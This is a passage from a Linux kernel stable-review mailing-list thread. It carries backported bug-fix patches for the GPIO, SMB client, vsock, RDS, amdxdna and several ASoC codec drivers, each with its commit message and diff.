chip must not be used in atomic context. Change the can_sleep switch in
struct gpio_chip to true.
Fixes: 611a995e8ae1 ("gpio: Add Nuvoton NCT6694 GPIO support")
Signed-off-by: Ming Yu <a0282524688@gmail.com>
Link: https://patch.msgid.link/20261007092102.3768818-2-a0282524688@gmail.com
Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/gpio/gpio-nct6694.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/drivers/gpio/gpio-nct6694.c b/drivers/gpio/gpio-nct6694.c
index a8607f0d99153..a38add1cde293 100644
--- a/drivers/gpio/gpio-nct6694.c
+++ b/drivers/gpio/gpio-nct6694.c
@@ -444,7 +444,7 @@ static int nct6694_gpio_probe(struct platform_device *pdev)
data->gpio.set_config = nct6694_set_config;
data->gpio.init_valid_mask = nct6694_init_valid_mask;
data->gpio.base = -1;
- data->gpio.can_sleep = false;
+ data->gpio.can_sleep = true;
data->gpio.owner = THIS_MODULE;
data->gpio.ngpio = NCT6694_NR_GPIO;
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 193/193] smb: client: drain outstanding I/O before truncating on O_TRUNC open
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (191 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 192/193] ice: fix crash in ethtool offline loopback test Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 19:52 ` [PATCH 6.18 000/193] 6.18.59-rc1 review Wentao Guan
` (10 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Frank Sorenson, David Howells,
Namjae Jeon, Paulo Alcantara, Christian Brauner, Matthew Wilcox,
Ronnie Sahlberg, Shyam Prasad N, Tom Talpey, Bharath SM
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Paulo Alcantara <pc@manguebit.org>
commit 3581f843defa0bb30fd7da1e7dba170465e13a95 upstream.
cifs_do_truncate() flushes the pagecache with filemap_write_and_wait()
before resetting the file size to zero, but that does not wait for
direct/async I/O that was already in flight, which can complete after the
truncate and reinstate stale data past the new EOF.
Drain outstanding netfs I/O with netfs_wait_for_outstanding_io()
before resizing the file.
Reported-by: Frank Sorenson <sorenson@redhat.com>
Fixes: a8603b52b39f ("smb: client: fix data corruption with concurrent writes and O_TRUNC")
Reviewed-by: David Howells <dhowells@redhat.com>
Reviewed-by: Namjae Jeon <linkinjeon@kernel.org>
Signed-off-by: Paulo Alcantara <pc@manguebit.org>
Cc: Christian Brauner <brauner@kernel.org>
Cc: Matthew Wilcox <willy@infradead.org>
Cc: Ronnie Sahlberg <ronniesahlberg@gmail.com>
Cc: Shyam Prasad N <sprasad@microsoft.com>
Cc: Tom Talpey <tom@talpey.com>
Cc: Bharath SM <bharathsm@microsoft.com>
Cc: stable@vger.kernel.org
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/smb/client/file.c | 2 ++
1 file changed, 2 insertions(+)
--- a/fs/smb/client/file.c
+++ b/fs/smb/client/file.c
@@ -1003,6 +1003,8 @@ static int cifs_do_truncate(const unsign
}
mapping_set_error(inode->i_mapping, rc);
+ netfs_wait_for_outstanding_io(inode);
+
cfile = find_writable_file(cinode, FIND_WR_FSUID_ONLY);
rc = cifs_file_flush(xid, inode, cfile);
if (!rc) {
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 028/242] vsock: treat TCP_CLOSING as once-established
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (26 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 7.2 027/242] gpio: nct6694: Mark the GPIO controller as sleeping Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 029/242] net/rds: dont let the rdma_cm destroy an id RDS still owns on route failure Greg Kroah-Hartman
` (213 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Hyunwoo Kim, Michal Luczaj,
Stefano Garzarella, Paolo Abeni, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Michal Luczaj <mhal@rbox.co>
[ Upstream commit 4f6ac74fa594a918d41255c941256e1d51592d3b ]
Handle the TCP_ESTABLISHED -> TCP_CLOSING transition on OP_RST, which can
race with the connect loop. Immediately break and return 0 on
ESTABLISHED/CLOSING. The return value of connect() should reflect what
happened up to the point the connection was established or failed. Events
that occur afterwards must not affect it. E.g. even if OP_RW has already
set sk_err, connect() should still return 0, not ENOBUFS because of it.
Adapt the inaccurate comment above signal_pending().
Resetting a socket that is still present in connected_table can lead to
memory corruption. The reporter noted lost transports for in-flight skbs,
and I have reproduced crashes caused by re-insertion into connected_table.
list_add double add: new=, prev=, next=.
kernel BUG at lib/list_debug.c:35!
Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI
Workqueue: vsock-loopback vsock_loopback_work
RIP: 0010:__list_add_valid_or_report+0x11f/0x130
Call Trace:
vsock_insert_connected.cold+0xe/0x13
virtio_transport_recv_pkt+0x10e9/0x1460
vsock_loopback_work+0x305/0x480
process_one_work+0xe4c/0x1560
worker_thread+0x4f1/0xd60
kthread+0x36e/0x470
ret_from_fork+0x47b/0x6b0
ret_from_fork_asm+0x1a/0x30
This fix is supplementary to commit 002541ef650b ("vsock: Ignore
signal/timeout on connect() if already established"). Details under Link.
Fixes: d021c344051a ("VSOCK: Introduce VM Sockets")
Reported-by: Hyunwoo Kim <imv4bel@gmail.com>
Link: https://lore.kernel.org/netdev/anzT1fREOSyHT99k@v4bel/
Signed-off-by: Michal Luczaj <mhal@rbox.co>
Reviewed-by: Stefano Garzarella <sgarzare@redhat.com>
Link: https://patch.msgid.link/20261005-vsock-connect-reset-closing-v4-1-15d41cfda3ed@rbox.co
Signed-off-by: Paolo Abeni <pabeni@redhat.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
net/vmw_vsock/af_vsock.c | 17 ++++++++---------
1 file changed, 8 insertions(+), 9 deletions(-)
diff --git a/net/vmw_vsock/af_vsock.c b/net/vmw_vsock/af_vsock.c
index f271a095996c9..db62ee41f1061 100644
--- a/net/vmw_vsock/af_vsock.c
+++ b/net/vmw_vsock/af_vsock.c
@@ -1809,23 +1809,22 @@ static int vsock_connect(struct socket *sock, struct sockaddr_unsized *addr,
timeout = schedule_timeout(timeout);
lock_sock(sk);
- /* Connection established. Whatever happens to socket once we
- * release it, that's not connect()'s concern. No need to go
+ /* Connection was established. Whatever happens to socket once
+ * we release it, that's not connect()'s concern. No need to go
* into signal and timeout handling. Call it a day.
*
* Note that allowing to "reset" an already established socket
* here is racy and insecure.
*/
- if (sk->sk_state == TCP_ESTABLISHED)
- break;
+ if (sk->sk_state == TCP_ESTABLISHED ||
+ sk->sk_state == TCP_CLOSING) {
+ err = 0;
+ goto out_wait;
+ }
/* If connection was _not_ established and a signal/timeout came
* to be, we want the socket's state reset. User space may want
- * to retry.
- *
- * sk_state != TCP_ESTABLISHED implies that socket is not on
- * vsock_connected_table. We keep the binding and the transport
- * assigned.
+ * to retry, so we keep the binding and the transport assigned.
*/
if (signal_pending(current) || timeout == 0) {
err = timeout == 0 ? -ETIMEDOUT : sock_intr_errno(timeout);
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 029/242] net/rds: dont let the rdma_cm destroy an id RDS still owns on route failure
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (27 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 7.2 028/242] vsock: treat TCP_CLOSING as once-established Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 030/242] accel/amdxdna: Fix Kconfig invalid configuration Greg Kroah-Hartman
` (212 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Allison Henderson, Paolo Abeni,
Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Allison Henderson <achender@kernel.org>
[ Upstream commit 98d446b7c013254a8a7b49720557676a3a851fde ]
rds_rdma_cm_event_handler_cmn() hands the return value of
rdma_resolve_route() straight back to the rdma_cm on
RDMA_CM_EVENT_ADDR_RESOLVED. A synchronous failure there - -ENOMEM
from the route work allocation, an SA query that cannot be set up, a
RoCE route with no usable device - makes addr_handler() destroy the
id the event was delivered on. That id is ic->i_cm_id, and nothing
clears the pointer: the connection sits in RDS_CONN_CONNECTING with a
freed id until its shutdown calls rdma_disconnect() and
rdma_destroy_id() on it.
The ROUTE_RESOLVED case already avoids this: rds_ib_cm_initiate_connect()
forces a zero return while ic->i_cm_id == cm_id, as the comment there
explains. Do the same here - drop the connection and return 0 - so
the id stays RDS's to destroy from the shutdown, and the reconnect
gets a fresh one.
Fixes: 55b7ed0b582f ("RDS: Common RDMA transport code")
Assisted-by: LLM
Signed-off-by: Allison Henderson <achender@kernel.org>
Link: https://patch.msgid.link/20261003163408.250568-3-achender@kernel.org
Signed-off-by: Paolo Abeni <pabeni@redhat.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
net/rds/rdma_transport.c | 12 +++++++++++-
1 file changed, 11 insertions(+), 1 deletion(-)
diff --git a/net/rds/rdma_transport.c b/net/rds/rdma_transport.c
index b15cf316b23a2..21738a5690917 100644
--- a/net/rds/rdma_transport.c
+++ b/net/rds/rdma_transport.c
@@ -89,9 +89,19 @@ static int rds_rdma_cm_event_handler_cmn(struct rdma_cm_id *cm_id,
if (conn) {
rdma_set_service_type(cm_id, conn->c_tos);
rdma_set_min_rnr_timer(cm_id, IB_RNR_TIMER_000_32);
- /* XXX do we need to clean up if this fails? */
ret = rdma_resolve_route(cm_id,
RDS_RDMA_RESOLVE_TIMEOUT_MS);
+ if (ret) {
+ /* A non-zero return has the rdma_cm destroy
+ * the id, but it is still ic->i_cm_id, which
+ * the connection's shutdown would then
+ * disconnect and destroy again. Drop the
+ * connection and keep the id for that
+ * shutdown.
+ */
+ rds_conn_drop(conn);
+ ret = 0;
+ }
}
break;
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 030/242] accel/amdxdna: Fix Kconfig invalid configuration
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (28 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 7.2 029/242] net/rds: dont let the rdma_cm destroy an id RDS still owns on route failure Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 031/242] ASoC: Intel: avs: Reset the stream unless it is already prepared Greg Kroah-Hartman
` (211 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Liam R. Howlett, Lizhi Hou,
Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Liam R. Howlett <liam@infradead.org>
[ Upstream commit 8240e19d329e9e1502fc96608d8afe6861e9df90 ]
The amdxdna has a soft dependency on the amd_pmf module. It will use an
exported function if it is available and fall back to another function
if it is not enabled.
amdxdna and amd_pmf are tridstate modules supporting both built [y] and
modularized [m] in the .config file. Since the amdxdna decides to use
the amd_pmf if it is either a module or built in (see
drivers/accel/amdxdna/aie2_pci.h), then there is an issue if they are
not compiled either both as modules or both as built-in.
Adding the optional dependency to Kconfig does not allow the
configuration from being selected.
Fixes: f66d6cc6891e4 ("accel/amdxdna: Support sensors for column utilization")
Signed-off-by: Liam R. Howlett <liam@infradead.org>
Reviewed-by: Lizhi Hou <lizhi.hou@amd.com>
Signed-off-by: Lizhi Hou <lizhi.hou@amd.com>
Link: https://patch.msgid.link/20261009011010.3521631-1-liam@infradead.org
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/accel/amdxdna/Kconfig | 1 +
1 file changed, 1 insertion(+)
diff --git a/drivers/accel/amdxdna/Kconfig b/drivers/accel/amdxdna/Kconfig
index f39d7a87296cd..eddff490b4f75 100644
--- a/drivers/accel/amdxdna/Kconfig
+++ b/drivers/accel/amdxdna/Kconfig
@@ -6,6 +6,7 @@ config DRM_ACCEL_AMDXDNA
depends on DRM_ACCEL
depends on PCI && HAS_IOMEM
depends on X86_64
+ depends on AMD_PMF || !AMD_PMF
select DRM_SCHED
select DRM_GEM_SHMEM_HELPER
select FW_LOADER
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 031/242] ASoC: Intel: avs: Reset the stream unless it is already prepared
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (29 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 7.2 030/242] accel/amdxdna: Fix Kconfig invalid configuration Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 032/242] ASoC: stm32: spdifrx: fix synchronization state check Greg Kroah-Hartman
` (210 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Sergey Tiraspolsky, Cezary Rojewski,
Mark Brown, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Sergey Tiraspolsky <stiraspo@gmail.com>
[ Upstream commit f6be9f558a83fe30a03bd3adae461c821a0cef8c ]
Commit cfca1637bc2b ("ASoC: Intel: avs: Unprepare a stream when XRUN
occurs") resets the HDA stream when ->prepare() is called in the XRUN
state. User space does not always recover that way. PipeWire's ALSA
backend recovers from an underrun with snd_pcm_drop(), snd_pcm_prepare()
and a new start, so ->prepare() runs in the SETUP state,
hdac_stream->prepared is still set and the reset is skipped. Every
recovery attempt then fails the same way:
spa.alsa: hw:avsmax98927,1p: snd_pcm_avail after recover: Broken pipe
On a Google Pixelbook (Kaby Lake, max98927 speakers) this happens after
an occasional underrun during normal playback and silences the speakers
for one to four minutes, until the PCM is closed. It can be provoked by
stopping PipeWire with SIGSTOP for 0.5 s during playback: in one run
that single underrun led to 1297 failed recoveries over two minutes,
until the sink was suspended. A plain alsa-lib program that recovers
with snd_pcm_drop() and snd_pcm_prepare() hits the same loop, while
snd_pcm_prepare() straight from XRUN recovers at once.
Skip the reset only when the stream is already PREPARED, the repeated
->prepare() case the check exists for, and reset it otherwise. With
this change both kinds of recovery succeed with a single restart.
Fixes: cfca1637bc2b ("ASoC: Intel: avs: Unprepare a stream when XRUN occurs")
Assisted-by: Claude:claude-opus-5-5
Signed-off-by: Sergey Tiraspolsky <stiraspo@gmail.com>
Acked-by: Cezary Rojewski <cezary.rojewski@intel.com>
Link: https://patch.msgid.link/20261010103753.16969-1-stiraspo@gmail.com
Signed-off-by: Mark Brown <broonie@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
sound/soc/intel/avs/pcm.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/sound/soc/intel/avs/pcm.c b/sound/soc/intel/avs/pcm.c
index 094ea1366ea8f..b6ff66525210b 100644
--- a/sound/soc/intel/avs/pcm.c
+++ b/sound/soc/intel/avs/pcm.c
@@ -756,7 +756,7 @@ static int avs_dai_fe_prepare(struct snd_pcm_substream *substream, struct snd_so
data = snd_soc_dai_get_dma_data(dai, substream);
host_stream = data->host_stream;
- if (runtime->state == SNDRV_PCM_STATE_XRUN)
+ if (runtime->state != SNDRV_PCM_STATE_PREPARED)
hdac_stream(host_stream)->prepared = false;
if (hdac_stream(host_stream)->prepared)
return 0;
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 032/242] ASoC: stm32: spdifrx: fix synchronization state check
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (30 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 7.2 031/242] ASoC: Intel: avs: Reset the stream unless it is already prepared Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 033/242] ASoC: cs42l56: Put the Limiter Cushion control on the limiter register Greg Kroah-Hartman
` (209 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Avi Weiss, Olivier Moysan,
Mark Brown, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Avi Weiss <thnkslprpt@gmail.com>
[ Upstream commit 0936bbd35a247665c64886135835faa3c3f4f29f ]
The interrupt handler uses a logical AND to check whether SPDIFRX
was in the SYNC state before clearing errors. Since both SYNC (1)
and ENABLE (3) are nonzero, this also treats ENABLE as SYNC (and
any other non-zero value that might be added).
The logical && basically just converts this to check for != 0.
So errors occurring while SPDIFRX is enabled cause the driver
to retry synch instead of disconnecting the PCM stream.
Fix is to change the logical && to equality (==) and only retry
when exactly in sync state.
Fixes: 0c93c291321f2 ("ASoC: stm32: spdifrx: retry synchronization in sync state")
Signed-off-by: Avi Weiss <thnkslprpt@gmail.com>
Reviewed-by: Olivier Moysan <olivier.moysan@foss.st.com>
Link: https://patch.msgid.link/20261011035459.2289403-1-thnkslprpt@gmail.com
Signed-off-by: Mark Brown <broonie@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
sound/soc/stm/stm32_spdifrx.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/sound/soc/stm/stm32_spdifrx.c b/sound/soc/stm/stm32_spdifrx.c
index 2f83ca989e688..7ad2e5426bb32 100644
--- a/sound/soc/stm/stm32_spdifrx.c
+++ b/sound/soc/stm/stm32_spdifrx.c
@@ -720,7 +720,7 @@ static irqreturn_t stm32_spdifrx_isr(int irq, void *devid)
if (err) {
regmap_read(spdifrx->regmap, STM32_SPDIFRX_CR, &cr);
- sync_state = FIELD_GET(SPDIFRX_CR_SPDIFEN_MASK, cr) &&
+ sync_state = FIELD_GET(SPDIFRX_CR_SPDIFEN_MASK, cr) ==
SPDIFRX_SPDIFEN_SYNC;
/* SPDIFRX is in STATE_STOP. Disable SPDIFRX to clear errors */
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 033/242] ASoC: cs42l56: Put the Limiter Cushion control on the limiter register
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (31 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 7.2 032/242] ASoC: stm32: spdifrx: fix synchronization state check Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 034/242] ASoC: cs42l52: Fix the NG Type Switch bit Greg Kroah-Hartman
` (208 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, HyeongJun An, Mark Brown,
Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: HyeongJun An <sammiee5311@gmail.com>
[ Upstream commit 203436d2aeb7093290459e344e1912a418a6ebfd ]
The Limiter Cushion control writes bits 4:2 of the ALC Thresholds
register. Those bits are ALCMIN, which the ALC MIN control owns. The
datasheet puts CUSH at bits 4:2 of the Limit Thresholds Control
register, next to LMAX, which the Limiter MAX control already uses.
So setting the limiter cushion changes the ALC minimum threshold, and
the cushion itself cannot be set.
Use CS42L56_LIM_THRESHOLD_CTL.
Fixes: 272b5edd3b8f ("ASoC: Add support for CS42L56 CODEC")
Link: https://statics.cirrus.com/pubs/proDatasheet/CS42L56_F2.pdf
Assisted-by: Claude:claude-opus-5-5
Signed-off-by: HyeongJun An <sammiee5311@gmail.com>
Link: https://patch.msgid.link/20261008130953.2446692-2-sammiee5311@gmail.com
Signed-off-by: Mark Brown <broonie@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
sound/soc/codecs/cs42l56.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/sound/soc/codecs/cs42l56.c b/sound/soc/codecs/cs42l56.c
index 4d9a22a1029c6..f0ea5309a6d49 100644
--- a/sound/soc/codecs/cs42l56.c
+++ b/sound/soc/codecs/cs42l56.c
@@ -481,7 +481,7 @@ static const struct snd_kcontrol_new cs42l56_snd_controls[] = {
0, 0x3f, 0, 0),
SOC_SINGLE_TLV("Limiter MAX", CS42L56_LIM_THRESHOLD_CTL,
5, 0x07, 1, alc_tlv),
- SOC_SINGLE_TLV("Limiter Cushion", CS42L56_ALC_THRESHOLD,
+ SOC_SINGLE_TLV("Limiter Cushion", CS42L56_LIM_THRESHOLD_CTL,
2, 0x07, 1, alc_tlv),
SOC_SINGLE("NG Switch", CS42L56_NOISE_GATE_CTL, 6, 1, 1),
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 034/242] ASoC: cs42l52: Fix the NG Type Switch bit
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (32 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 7.2 033/242] ASoC: cs42l56: Put the Limiter Cushion control on the limiter register Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 035/242] ASoC: pcm3168a: Fix the DAC zero flag polarity bit Greg Kroah-Hartman
` (207 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, HyeongJun An, Mark Brown,
Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: HyeongJun An <sammiee5311@gmail.com>
[ Upstream commit 8b08b98796d2da103f2432550c14a7c687e72080 ]
The NG Type Switch enum selects between "Apply Specific" and "Apply
All", which is the NGALL bit. The datasheet puts NGALL at bit 7 of the
Noise Gate Control register. The enum uses bit 6, which is NG, the
noise gate enable owned by the NG Enable Switch. cs42l52.h names it
CS42L52_NG_ENABLE_SHIFT. cs42l56 has the same Noise Gate register and
puts its NG All Switch at bit 7.
So changing the noise gate type turns the noise gate on or off, and
NGALL cannot be set.
Use bit 7.
Fixes: dfe0f98b8d2e ("ASoC: Add support for CS42L52 Codec")
Link: https://statics.cirrus.com/pubs/proDatasheet/CS42L52_F2.pdf
Assisted-by: Claude:claude-opus-5-5
Signed-off-by: HyeongJun An <sammiee5311@gmail.com>
Link: https://patch.msgid.link/20261008130953.2446692-3-sammiee5311@gmail.com
Signed-off-by: Mark Brown <broonie@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
sound/soc/codecs/cs42l52.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/sound/soc/codecs/cs42l52.c b/sound/soc/codecs/cs42l52.c
index 9d6bcfbbf0b20..c55ae3532682f 100644
--- a/sound/soc/codecs/cs42l52.c
+++ b/sound/soc/codecs/cs42l52.c
@@ -290,7 +290,7 @@ static const char * const cs42l52_ng_type_text[] = {
};
static SOC_ENUM_SINGLE_DECL(ng_type_enum,
- CS42L52_NOISE_GATE_CTL, 6,
+ CS42L52_NOISE_GATE_CTL, 7,
cs42l52_ng_type_text);
static const char * const left_swap_text[] = {
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 035/242] ASoC: pcm3168a: Fix the DAC zero flag polarity bit
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (33 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 7.2 034/242] ASoC: cs42l52: Fix the NG Type Switch bit Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 036/242] ASoC: max98371: Fix the Speaker DHT Min Volume bits Greg Kroah-Hartman
` (206 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, HyeongJun An, Cezary Rojewski,
Mark Brown, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: HyeongJun An <sammiee5311@gmail.com>
[ Upstream commit b26edc925c1cfa0184cd270ed81d4833db045ce0 ]
The DAC Zero Flag Polarity enum uses PCM3168A_DAC_ATSPDA_SHIFT, which
is bit 6 of register 70. That bit is ATSPDA, the attenuation speed,
which the DAC Volume Rate Multiplier enum already owns. The datasheet
puts ZREV, the zero flag polarity, at bit 0. The header defines
PCM3168A_DAC_ZREV_SHIFT for it, but nothing uses it.
So changing the zero flag polarity changes the attenuation speed, and
ZREV cannot be set.
Use PCM3168A_DAC_ZREV_SHIFT.
Fixes: a9b17a638af5 ("ASoC: pcm3168a: Add driver for pcm3168a codec")
Link: https://www.ti.com/lit/ds/symlink/pcm3168a.pdf
Assisted-by: Claude:claude-opus-5-5
Signed-off-by: HyeongJun An <sammiee5311@gmail.com>
Reviewed-by: Cezary Rojewski <cezary.rojewski@intel.com>
Link: https://patch.msgid.link/20261008130953.2446692-4-sammiee5311@gmail.com
Signed-off-by: Mark Brown <broonie@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
sound/soc/codecs/pcm3168a.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/sound/soc/codecs/pcm3168a.c b/sound/soc/codecs/pcm3168a.c
index cb6a6f08f2f80..6f45ea4869a75 100644
--- a/sound/soc/codecs/pcm3168a.c
+++ b/sound/soc/codecs/pcm3168a.c
@@ -103,7 +103,7 @@ static SOC_ENUM_SINGLE_DECL(pcm3168a_dac_zf_func, PCM3168A_DAC_ATT_DEMP_ZF,
static const char *const pcm3168a_pol[] = { "Active High", "Active Low" };
static SOC_ENUM_SINGLE_DECL(pcm3168a_dac_zf_pol, PCM3168A_DAC_ATT_DEMP_ZF,
- PCM3168A_DAC_ATSPDA_SHIFT, pcm3168a_pol);
+ PCM3168A_DAC_ZREV_SHIFT, pcm3168a_pol);
static const char *const pcm3168a_con[] = { "Differential", "Single-Ended" };
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 036/242] ASoC: max98371: Fix the Speaker DHT Min Volume bits
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (34 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 7.2 035/242] ASoC: pcm3168a: Fix the DAC zero flag polarity bit Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 037/242] ASoC: wm8978: Fix the 128x oversampling switch bits Greg Kroah-Hartman
` (205 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, HyeongJun An, Mark Brown,
Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: HyeongJun An <sammiee5311@gmail.com>
[ Upstream commit f7934340c56a84fc1b246ebf6b2e806d775f3b54 ]
Register 0x31 holds two 4-bit fields. The datasheet puts SPK_GAIN_MIN
at bits 7:4 and DHT_VROT_PNT at bits 3:0. The Speaker DHT Min Volume
and Speaker DHT Rotation Volume controls both use bits 3:0.
So setting the minimum speaker gain changes the DHT rotation point, and
SPK_GAIN_MIN cannot be set.
Move Speaker DHT Min Volume to bits 7:4.
Fixes: ca2cd6bc6663 ("ASoC: Add max98371 codec driver")
Assisted-by: Claude:claude-opus-5-5
Signed-off-by: HyeongJun An <sammiee5311@gmail.com>
Link: https://patch.msgid.link/20261008130953.2446692-5-sammiee5311@gmail.com
Signed-off-by: Mark Brown <broonie@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
sound/soc/codecs/max98371.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/sound/soc/codecs/max98371.c b/sound/soc/codecs/max98371.c
index c8d4c68af5623..324270cc5cb26 100644
--- a/sound/soc/codecs/max98371.c
+++ b/sound/soc/codecs/max98371.c
@@ -166,7 +166,7 @@ static const struct snd_kcontrol_new max98371_snd_controls[] = {
0, (1<<MAX98371_DHT_MAX_WIDTH)-1, 0,
max98371_dht_max_gain),
SOC_SINGLE_TLV("Speaker DHT Min Volume", MAX98371_DHT_GAIN,
- 0, (1<<MAX98371_DHT_GAIN_WIDTH)-1, 0,
+ 4, (1<<MAX98371_DHT_GAIN_WIDTH)-1, 0,
max98371_dht_min_gain),
SOC_SINGLE_TLV("Speaker DHT Rotation Volume", MAX98371_DHT_GAIN,
0, (1<<MAX98371_DHT_ROT_WIDTH)-1, 0,
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 037/242] ASoC: wm8978: Fix the 128x oversampling switch bits
